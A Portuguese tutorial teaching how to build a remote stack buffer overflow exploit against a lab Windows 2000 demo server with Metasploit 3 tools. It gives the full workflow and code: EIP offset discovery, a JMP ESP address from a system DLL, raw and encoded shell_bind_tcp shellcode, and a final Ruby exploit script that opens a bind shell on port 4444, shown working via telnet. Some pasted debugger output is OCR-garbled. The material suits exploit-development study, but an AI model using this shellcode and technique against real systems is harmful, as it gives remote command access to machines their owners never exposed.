0x00: intro

Neste guia vou demonstrar como é possível criar exploits de maneira fácil, rápida e com a ajuda da Metasploit Framework 3.

É verdade que uma grande quantidade de «script kiddies» usa o metasploit para correr payloads atrás de payloads sobre serviços que encontram a correr em servidores remotos, mas a verdade é que esta é também uma óptima framework para o desenvolvimento de exploits, seja ele para uso doméstico ou mesmo profissional, pois economiza tempo, esforço e oferece-nos um fantástico leque de ferramentas que serão introduzidas ao longo do guia.

0x01: software

Em termos de software irei usar:

- Metasploit Framework (<u>www.metasploit.com</u>)
- Immunity Debbuger (<u>http://www.immunityinc.com/products-</u> immdbg.shtml)
- um interprete de Ruby (<u>http://www.ruby-lang.org/pt/</u>)
- uma servidor a correr Windows 2000, se bem que pode ser virtual (<u>www.virtualbox.org</u>)
- netcat (man netcat)

Neste servidor estará a correr um servidor criado para este guia que poderei fornecer por mail.

0x02: requerimentos

Pretende-se neste guia explorar os buffer overflows remotos a uma máquina Windows utilizando o Metasploit3 para ajudar a desenvolver o exploit. Será fácil então para a compreensão do mesmo um conhecimento prévio de:

- conhecimento básico de assembly
- uma linguagem de programação à escolha para a escrita do exploit
- conhecimento básico sobre buffer overflows (estrutura da stack, da memória, registos, o ataque, etc..)
- saber usar um debugger

0x03: encontrar o EIP

Uma das técnicas normais para tentar criar um exploit de buffer overflow seria encontrar qual o tamanho da string para que fosse suficiente grande de modo a escrever por cima do RET address do programa. Executamos o servidor a partir do Immunity, na máquina remota Windows, e corremos o seguinte código na nossa máquina local:

sploit1.rb puts "A" * 100 + "\r\n"

Obtendo: #./sploit1.rb | nc 192.168.56.102 1974

Welcome to SNOW Username:

O programa pára aqui a execução. Voltando ao debugger vê-se que ele trancou ao tentar executar, em EIP, o endereço 0x41414141, que são "AAAA":

ddress	Hex du	unp	ASCII	
0403008 0403018 0403028 0403028 0403028 0403038 0403038 0403058 0403058 0403058 0403058 0403058 0403058 0403058 0403068 0403068			ia ia ia ia ia ia ia ia ia ia	

E verificamos também no debugger que controlamos dois registos EBP e EIP.



Agora poderíamos ir modificando o número de A's introduzidos até que o fim da nossa string coincidisse exactamente com os 4 bytes do EIP. Isso seria bastante trabalhoso, mas com a ajuda do metasploit podemos descobrir qual o local exacto do EIP sem recorrer a tentativa e erro.

Para isto usamos a ferramenta **patternoffset**, que se encontra na pasta /tools/ da framework metasploit:

./tools/pattern_create.rb 100

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6 Ac7Ac8Ac9Ad0Ad1Ad2A

Criámos assim uma string com 100 caracteres para nos ajudar a encontrar o sítio exacto do EIP. Escrevemos agora o seguinte código para a usar:

sploit2.rb

stringmeta = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2A"

puts stringmeta + "\r\n"

Reiniciamos o programa do servidor no debugger, corremos o nosso script sploit2.rb e obtemos no servidor, na janela do debugger:



Podemos agora retirar do valor do EIP o endereço: 0x41336341 . Este endereço pode ser introduzido noutra ferramente disponibilizada pelo metasploit, o **patternoffset**. Esta ferramenta permite obter, a partir do resultado de uma string gerada pela patterncreate, o offset exacto da cadeia de caracteres que procuramos, que faz parte dessa string:

```
# ./tools/pattern_offset.rb 0x41336341 100
69
```

Descobrimos assim que o offset de bytes é 69, ou seja, o EIP está na posição 69 da string que usámos, que foi gerada pelo metasploit, para criar o overflow. Geramos agora um script Ruby para substituír exactamente aqueles 4 bytes na posição 69 por um endereço que queiramos, para posteriormente o substituirmos pelo endereço do nosso payload do exploit.

sploit3.rb

puts "A" * 69 + [0xf0daf0da].pack('V') + "\r\n"

Ou seja, 69 A's e depois um endereço arbitrário (o pack('V') é apenas uma função do Ruby para converter aquele endereço). Reiniciando novamente o

programa no debugger no servidor e correndo o exploit na nossa máquina local obtemos o seguinte resultado:

00 00 00
00 00 00
hen executing [F0DAF0DA] - use
Select C:\WINNT\system

Conseguimos assim escrever com sucesso no local exacto onde se encontra o EIP.

0x04: onde colocar a payload

Agora que conseguimos controlar a posição do EIP será necessário encontrar um local na memória onde possamos colocar a nossa payload.

Os exploits remotos têm esta dificuldade acrescentada: não sabemos onde na memória estará o código, qual o espaço que temos para o guardar, já que poderão estar vários processos diferentes dos quais não temos conhecimento nem quando começam a executar.

Para isso inventou-se uma técnica que é a de colocar no EIP o endereço de uma instrução simples que salte para um local de memória onde realmente possamos escrever.

O pessoal da Microsoft pensou em nós e facilitou-nos a vida dado que, embora não possamos colocar lá o salto, podemos ir busca-lo a uma das bibliotecas (.DLL) que estejam a ser executados no topo da memória (que estão sempre nas mesmas posições o que nos facilitam bastante a vida, principalmente nos servidores Windows 2000 em que não mudam mesmo!).

A técnica será então colocar em ESP (que podemos conhecer a posição exacta visto que o enchemos com a nossa string criada pelo metasploit) o nosso código da payload e no EIP uma instrução "JMP ESP" que encontramos a ser executada por uma qualquer library do windows.

Reiniciamos o programa e no debugger procuramos pelo opcode que forma "JMP ESP": FF E4. Abrimos o mapa da memória (Alt+M) e procuramos (Ctrl+L) pelo "FF E4" mas apenas nos endereços mais altos, onde se encontram as bibliotecas, pois essas não mudam de sítio nunca (obrigado Microsoft):

0 0000100	0 demo	wait in i	aplure.	Imag RW	RWE	
0 000B00	0 demo	.stab			RUE	
0 0002000	0 demo	- size bistor		inagi	RWE	ALL AS SECURITIES OF SERVICE
0 0000200 0 0000100 0 0000100 0 0000100 0 0000100 0 0000100 0 0000100 0 0000100	0 0 WS2HELP 0 WS2HELP 0 WS2HELP 0 WS2HELP 0 WS2HELP 0 WS2_32	.text .data .rsrc .reloc	PE header code,import data resources relocations PE header	Map R Imag R Imag R E Imag RW Imag R Imag R Imag R Imag R	R RUUUUU RRUUUUU RRUUUUU	NBeviceNHarddiskVolume1NWINNTNsyste
0001000	0 WS2_32	.text	code, import	Imag R E	RWE	
0 0000100	0 052_32	.data	data	Imag RW	RWE	
0 0000100	0 WSZ_32	.rsrc	resources	Impol R	BINE	
0 0000100	0 WS2 32	.reloc	reld Dun	n - ADVAPT32	hevt 70	2D1000 7C327FFF
0 0000100	0 RPCR14	1222220	PE	P 1107111 102	incent re	EDTODONICSENT
0 0005200	O PPCRT4	.text	CODE 7C2E799	3 FF <u>E4 66 3</u>	0 7C F2	<u>56 30 7C 55 8B EC 6A FF 68 10 ΣF012</u>
0 0000000	A DDCDTA	.orpc	data 702E79F	BITH ZE TU 6	8 <u>8E 13</u>	2E /U 64 H1 00 00 00 00 50 64 z. ha!
0 0000100	0 PPCPT4	.uata	Desc 702E79E	3 87 25 88 8	0 00 00	
a aaaaaaa	0 RPCRT4	reloc	Pelo 702E790	3 83 65 FU 0		00 FF 75 08 E8 23 00 00 00 89 ae". 4
0 0000100	Øntdil		PF h 7025795	3 45 E4 63 4		35 LU UF 65 7F EU UI UU DH UI E240" 35 GG GG GG GG EE EE ED CG COLVIMENE
0 0004500	Øntdil	.test	code 7025795	3 00 00 40 F	4 24 94 9	
0 000500	Øntdll	ECODE	code 702F700	3 7° F8 00 0	2 FF FF	33 C4 0C C2 08 00 90 FE FE FE !376
0 0000400	Øntdll	PAGE	code 7C2F701	3 FF 60 67 3	0 7C 6F	7 30 7C 55 88 EC 69 FE 68 00 1001h
0 0000300	0 ntdil	.data	data 702E782	3 78 2E 70 6	8 8F 13	2F 7C 64 81 00 00 00 00 50 64 z. ball
0 0002700	0 ntdll	.rsrc	resc 702E7AS	3 89 25 00 0	0 00 00	51 51 83 EC ØC 53 56 57 89 65 ë%
0 000200	Øntdll	.reloc	relo 7C2E7A4	3 E8 83 65 E	4 00 83 0	55 FC 00 8D 45 E4 50 FF 75 10 \$ae2.a
0 0000100	0 msver		PE 1 702E7A5	3 FF 75 0C F	F 75 08 H	8 23 00 00 00 89 45 E0 83 4D u. u
0 0003100	0 MSVCr	.text	code 7C2E7A6	3 FC FF 85 C	0 0F 85 9	57 EF 01 00 8B 45 E4 8B 4D F0 " à'*à
0 0000300	Mayort -	.rdata	LMPC 7C2E7A7	3 64 89 0D 0	0 00 00 0	00 5F 5E 5B C9 C2 0C 00 8D 44 dë
0 0000700	MSVORT	.data	data 7C2E7A8	3 24 04 50 6	8 86 CF :	<u>2D 7C 68 A8 C7 2D 7C</u> E8 1E A2 \$•Pha=
0 0000100	MSVORT	.rsrc	resc 7C2E7A9	3 FE FF 83 C	4 00 02	10 00 90 90 90 90 90 FF FF FF = aT
	0 MSVCrt	.retoc	reig 7C2E7AF	3 FF <u>A4 69 3</u>	0 7C B2 (59 30 7C 55 8B EC 83 EC 18 33 #10
0 000100		Stout	TC2E7HE	3 CØ C7 45 E	8 18 00 0	30 00 89 45 EC 89 45 F8 89 45 HEAT.
0 0005700	0 HOVHEIS	2 . text	CODE 7C2E7HC	3 FC 80 45 E	8 50 C7 4	45 F4 40 00 00 00 FF 75 0C C7 "LEAPH
0 0000200			pesoupoes	Imag R	RHE	
a aaaa4aa		2 reloc	relocations	Imag R	BHE	
	Ø KERNEL 3	2	PE header	Imag R	BHE	
0 0005600	Ø KERNELS:	2 .test	code, import	Imag R E	RWE	
0 0000400	0 KERNELS:	2 .data	data	Imag RW	RWE	

Podemos ver aqui no endereço : 0x7c2e7993 que temos então os nossos bytes para o JMP, oferecidos pela ADVAPI32.DLL :)

Este será então o endereço que colocaremos no EIP para que ele execute o "JMP ESP". Falta-nos então saber qual será o endereço exacto do ESP para colocarmos aí o nosso payload. Após a execução do sploit2.rb obtivemos os seguintes valores para os registos:

	DX BX SP SP SI	00000 00000 00220 32634 00000	0001 0000 AED0 4131 0056	ASCII	″c4Ac5A	lc
E	IΡ	41336	6341			
UP GNOFO	ชออ <mark>อ</mark> ออ <mark>อ</mark>		0023 0018 0023 0023 0038 0038 0000	32bit 32bit 32bit 32bit 32bit 32bit NULL	Ø(FFFFF Ø(FFFFF Ø(FFFFF Ø(FFFFF 7FFDEØØ	ØHHHH
ō	ø	Last	tErr	WSAENO	OTSOCK (Ø
E	FL	0001	0202	(NO,NE	3,NE,A,N	IS
M	MØ	0000	0000	0000	0000	

Como podemos verificar no ESP temos uma representação ASCII do conteúdo do ESP, obrigado Immunity Debugger, que é "c4Ac...", que era uma porção da string gerada pelo pattern_create.rb do metasploit. Utilizaremos novamente o pattern_offset para saber qual o offset em que se encontram, por exemplo, os quatro bytes "c4Ac":

./tools/pattern_offset.rb "c4Ac" 100 73 Ou seja, sabemos que o ESP está na posição 73 da nossa string. Imaginando que o nosso payload era um simples "INT 3", que a única coisa que faz é dizer ao debugger para parar ali, ou seja um debugging breakpoint, dado pelo código 0xCC podemos gerar o seguinte código:

sploit4.rb

JMP_ESP=[0x7c2e7993].pack('V') INT3 = "\xCC"

puts "A" * 69 + JMP_ESP + "B"*4 + INT3 +"\r\n"

Reiniciamos o programa no debugger, corremos o nosso exploit na nossa máquina e:

0.00.014	000 000 000 000	ତ ତ ତ ତ ତ ତ				BYTE BYTE BYTE BYTE BYTE	PTR PTR PTR PTR PTR	DS: DS: DS: DS: DS:		, AL , AL , AL , AL
1001	000									
.]]	Hex	dump				E F	SCII			
ю	<u>EF</u> E	<u>F FF F</u>	F 00	ЯЙ	ΩЙ	аа 🗌				
:35:52] INT3 command at 0022AED4										
Start 🛛 🚰 🈂 🎲 🗍 🔤 Select C:\WINNT\sys										

Isto porque adicionámos 69 A's, chegando à posição 69 (EIP), colocamos o endereço da instrução "JMP ESP", adicionamos 4 B's, chegando à posição 73 (ESP) colocamos o INT 3 e o debugger parou. Sabemos então que podemos colocar nesta posição o nosso payload.

0x05: gerando e codificando o payload

O metasploit tem uma enorme e doentia base de dados de payloads para os vários sistemas operativos. O comando chama-se msfpayload:

./msfpayload -h

Usage: ./msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar>

Existem praticamente 300 payloads diferentes, desde executar comandos, adicionar utilizadores, fazer spawn de uma shell, colocar uma backdoor à escuta, criar um executavel e fazer o upload, etc.. etc.. é uma questão de explorarem. Nós iremos usar o mais simples chamado:

windows/shell_bind_TCP que no fundo coloca uma shell na máquina remota à escuta na porta 4444 (por defeito, o que pode ser mudado).

Estamos a programar em Ruby neste guia, mas esta utilidade gera o código, como podemos ver na ajudam para C, Perl, Java, um executável, um DLL, etc.. utilizaremos então a opção "y" para gerar o código Ruby:

#./msfpayload windows/shell_bind_tcp y

windows/shell_bind_tcp - 341 bytes

http://www.metasploit.com

LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,

AutoRunScript=

buf =

```
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"
```

Mas como podemos ver, este shellcode contem opcodes proibitivos para quem está a tentar criar um exploit através de uma string: \x00 (nullbyte) que é usado para terminar qualquer string, \x0d (carriage return), \0x0a (new line), etc.. ou seja uma série de caracteres que deveríamos evitar, dado que estamos a executar em memória não nos podemos dar ao luxo que o programa, depois de correr o exploit, encontre na memória um 0x00 e parar de executar o shellcode. Para isto existe a ferramenta msfenconde, também da framework metasploit, que codifica o código de forma a esconder estes tipos de caracteres com um código diferente. Por exemplo para esconder um incremento de 5 de uma variável, ele faz com que se incremente 5 vezes uma unidade a essa variável. Para isso teremos então de especificar quais os bytes que achamos que devem ser substituídos e também devemos, para isto, pedir ao msfpayload a shellcode em R(aw):

./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)

buf =

"\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" + "\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +

```
"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +
"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +
"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +
"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +
"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +
"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +
"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +
"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +
"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +
"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +
"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +
"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +
"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +
"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +
"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +
"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +
"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +
"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +
"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +
"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +
"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +
"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +
"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +
"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +
"\xc4\xdd\xcb\x3d\xce"
```

Como se pode ver, às custas de um incremento no tamanho do shellcode, conseguimos o mesmo código mas sem os bytes que decidimos excluir para não inviabilizar o nosso ataque. Sinceramente acho isto puramente genial. Modificando assim o nosso exploit para uma versão final:

sploit5.rb

```
JMP_ESP=[0x7c2e7993 ].pack('V')
PAYLOAD =
"\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +
"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +
"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +
"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +
"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +
"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +
"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +
"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +
"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +
"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +
"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +
"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +
"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +
"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +
"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +
"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +
"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +
"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +
"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +
"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +
"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +
"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +
```

"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" + "\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" + "\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" + "\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" + "\xc4\xdd\xcb\x3d\xce"

puts "A" * 69 + JMP_ESP + "B"*4 + PAYLOAD + "\r\n"

E podemos ver que não acontece nada. Abrindo outro terminal e tentando conectar à porta 4444:

telnet 192.168.56.102 4444 Trying 192.168.56.102... Connected to 192.168.56.102. Escape character is '^]'. Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 3016-C74B

Directory of C:\Documents and Settings\Administrator\Desktop

10/01/2010 01:32p <DIR> . 10/01/2010 01:32p <DIR> . 10/01/2010 01:27p 250,839 demo.exe 10/01/2010 01:32p 13,684,370 ImmunityDebugger_1_73_setup.exe 2 File(s) 13,935,209 bytes 2 Dir(s) 3,112,681,472 bytes free

C:\Documents and Settings\Administrator\Desktop>

Obtemos assim acesso à máquina através desta backdoor instalada com o shellcode obtido pelo metasploit.

0x06: conclusões

Podemos assim ver que com o auxílio do metasploit framework, um pouco de reverse engeneering, uma linguagem de programação simples podemos criar exploits simples e eficazes.

As ferramentas disponíbilizadas pela Metasploit Framework são na verdade um enorme auxílio para quem quer escrever exploits.

Alguma dúvida são bem vindos em enviar-me um e-mail.

.... pr0misc